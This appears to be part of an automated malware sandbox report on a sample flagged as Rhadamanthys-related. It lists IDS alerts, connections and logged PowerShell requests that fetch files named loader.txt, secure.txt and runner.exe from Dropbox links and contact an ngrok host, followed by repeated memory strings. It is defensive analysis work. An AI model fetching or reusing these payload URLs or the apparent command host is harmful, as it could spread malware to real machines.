Source:	Binary string: wntdll.pdbUGP source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317186617.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317363229.0000000003B40000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2321646258.00000000054F0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2321435663.0000000005350000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2314811768.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2315160104.0000000003B90000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2320864510.0000000005350000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317186617.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317363229.0000000003B40000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2321646258.00000000054F0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2321435663.0000000005350000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2318206814.0000000003BC0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2318009244.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2322496710.0000000005350000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2323210584.0000000005570000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317606487.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317724743.0000000003AC0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2321937249.0000000005350000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2322058354.0000000005470000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\fontdrvhost.exe

Code function: 4x nop then dec esp

35_2_000001FF1BD50511

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 162.213.210.250:6499 -> 192.168.2.4:49831

Source: global traffic

TCP traffic: 192.168.2.4:49831 -> 162.213.210.250:6499

Source: global traffic	TCP traffic: 192.168.2.4:54694 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:56299 -> 1.1.1.1:53

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

HTTP traffic: Redirect from: www.dropbox.com to https://uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com/cd/0/get/cgxvdkgrmhwgsar0ppooizgkg52xggyesqqssqnuvfqqn8talsbk1tp2odrspwj70hzqa-7tpmae6rwdtbe3qnonre9p0aaxjyqm1nqdpadk5_9yhhze8pdnsr6uivbjh061-0dprql3exobdwsh8f9y/file?dl=1#

Source: Joe Sandbox View	IP Address: 162.125.65.15 162.125.65.15
Source: Joe Sandbox View	IP Address: 162.125.69.18 162.125.69.18
Source: Joe Sandbox View	IP Address: 162.125.69.15 162.125.69.15

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49735 -> 162.125.69.18:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49794 -> 162.125.69.18:443

Source: global traffic	HTTP traffic detected: GET /api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.appConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/y77idftnli5vhqdg4xqse/secure.txt?rlkey=5dcm450t8j86d1n8rm0pywzzv&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgWQbVSHwCsSrfRJOs3evEwcHkCw_XmYJmsY8t4Hz5fmjL81P1_3CoBqoAxxPioGGB6ytWIDTcBNUNQ-T-fEY8g-pQiFhxEHAOUbE6UtjKfiTfXhU_xmsABQIucH_Chc4meFZSVnxZj7i38N9Wdha8mQ/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uccba36d8d23bc3bc4a8c4d73776.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/d3w8il7o04o41ssg64bq2/loader.txt?rlkey=acjjwiqfkswqv6iwv43ps8t7g&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1 HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgWS56--YffnNNg64e0NKz9YaiOZUkujezvRcH5YbIMVOGBO0F7mHdl_LeIrVOqF5pXVStsdZQkTg-6Z3sOfTWNnhOLVg9vKpg4Ec--da7p93xIJyAL5mLhYeDBD9QD4uhjGpB-i5_UU7zubcGcRa-Nt/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgXVDKGRmHwGsAR0ppOOIzGkg52xgGyEsqQSSQnuvFqqn8tALSbk1tp2odRSpWJ70hzqa-7TPMAE6RWDTbe3qnonre9p0AaxJYqM1NQdpADK5_9YHHzE8PDnsr6UIvbJh061-0dPrql3eXObDwSH8F9y/file?dl=1 HTTP/1.1Host: uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgUgHK8wYT_OxweEoS194JM8vx4j5wfJTYiaj2DfXgGXbpwrNd30UhaVnbb-rxJW755uS4OfQiRDFufnLKajMGFot1LRySxiJMWbU05_OTltQ7Y25pPoKci1xvMiK2PIv1Ba6kO5Enob2wqNAPyPl9Fb/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgXWcjDOuh_e1TFdA2SzYsOsn-M4V_6jmWrcAiSvLjLRdG8DNkNlOsKpdMwtrmgmMNacZAx4OR09oCYAE2gE-OPK61EIX_QkU0Q_RbGT2QqP4hHqtoCsXJPUh62qDTppIh6lp5VSJVeUDhSvks6HjBSt/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.appConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 104.40.82.182
Source: unknown	TCP traffic detected without corresponding DNS query: 104.40.82.182
Source: unknown	TCP traffic detected without corresponding DNS query: 104.40.82.182
Source: unknown	TCP traffic detected without corresponding DNS query: 104.40.82.182
Source: unknown	TCP traffic detected without corresponding DNS query: 104.40.82.182
Source: unknown	TCP traffic detected without corresponding DNS query: 104.40.82.182
Source: unknown	TCP traffic detected without corresponding DNS query: 104.40.82.182
Source: unknown	TCP traffic detected without corresponding DNS query: 104.40.82.182
Source: unknown	TCP traffic detected without corresponding DNS query: 104.40.82.182
Source: unknown	TCP traffic detected without corresponding DNS query: 104.40.82.182
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 104.40.82.182
Source: unknown	TCP traffic detected without corresponding DNS query: 104.40.82.182
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 23.33.40.135
Source: unknown	UDP traffic detected without corresponding DNS query: 23.33.40.135
Source: unknown	UDP traffic detected without corresponding DNS query: 23.33.40.135
Source: unknown	UDP traffic detected without corresponding DNS query: 23.33.40.135
Source: unknown	UDP traffic detected without corresponding DNS query: 23.33.40.135

Source: global traffic	HTTP traffic detected: GET /api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.appConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/y77idftnli5vhqdg4xqse/secure.txt?rlkey=5dcm450t8j86d1n8rm0pywzzv&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgWQbVSHwCsSrfRJOs3evEwcHkCw_XmYJmsY8t4Hz5fmjL81P1_3CoBqoAxxPioGGB6ytWIDTcBNUNQ-T-fEY8g-pQiFhxEHAOUbE6UtjKfiTfXhU_xmsABQIucH_Chc4meFZSVnxZj7i38N9Wdha8mQ/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uccba36d8d23bc3bc4a8c4d73776.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/d3w8il7o04o41ssg64bq2/loader.txt?rlkey=acjjwiqfkswqv6iwv43ps8t7g&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1 HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgWS56--YffnNNg64e0NKz9YaiOZUkujezvRcH5YbIMVOGBO0F7mHdl_LeIrVOqF5pXVStsdZQkTg-6Z3sOfTWNnhOLVg9vKpg4Ec--da7p93xIJyAL5mLhYeDBD9QD4uhjGpB-i5_UU7zubcGcRa-Nt/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgXVDKGRmHwGsAR0ppOOIzGkg52xgGyEsqQSSQnuvFqqn8tALSbk1tp2odRSpWJ70hzqa-7TPMAE6RWDTbe3qnonre9p0AaxJYqM1NQdpADK5_9YHHzE8PDnsr6UIvbJh061-0dPrql3eXObDwSH8F9y/file?dl=1 HTTP/1.1Host: uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgUgHK8wYT_OxweEoS194JM8vx4j5wfJTYiaj2DfXgGXbpwrNd30UhaVnbb-rxJW755uS4OfQiRDFufnLKajMGFot1LRySxiJMWbU05_OTltQ7Y25pPoKci1xvMiK2PIv1Ba6kO5Enob2wqNAPyPl9Fb/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgXWcjDOuh_e1TFdA2SzYsOsn-M4V_6jmWrcAiSvLjLRdG8DNkNlOsKpdMwtrmgmMNacZAx4OR09oCYAE2gE-OPK61EIX_QkU0Q_RbGT2QqP4hHqtoCsXJPUh62qDTppIh6lp5VSJVeUDhSvks6HjBSt/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.appConnection: Keep-Alive

Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .0.1:/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; img-src https://* data: blob: ; font-src https://* data: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; base-uri 'self' ; media-src https:// blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .dropbox.com ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; media-src https://* blob: ; img-src https://* data: blob: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; base-uri 'self' equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Policy: frame-ancestors 'self' https://.dropbox.com ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; media-src https://* blob: ; img-src https://* data: blob: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ 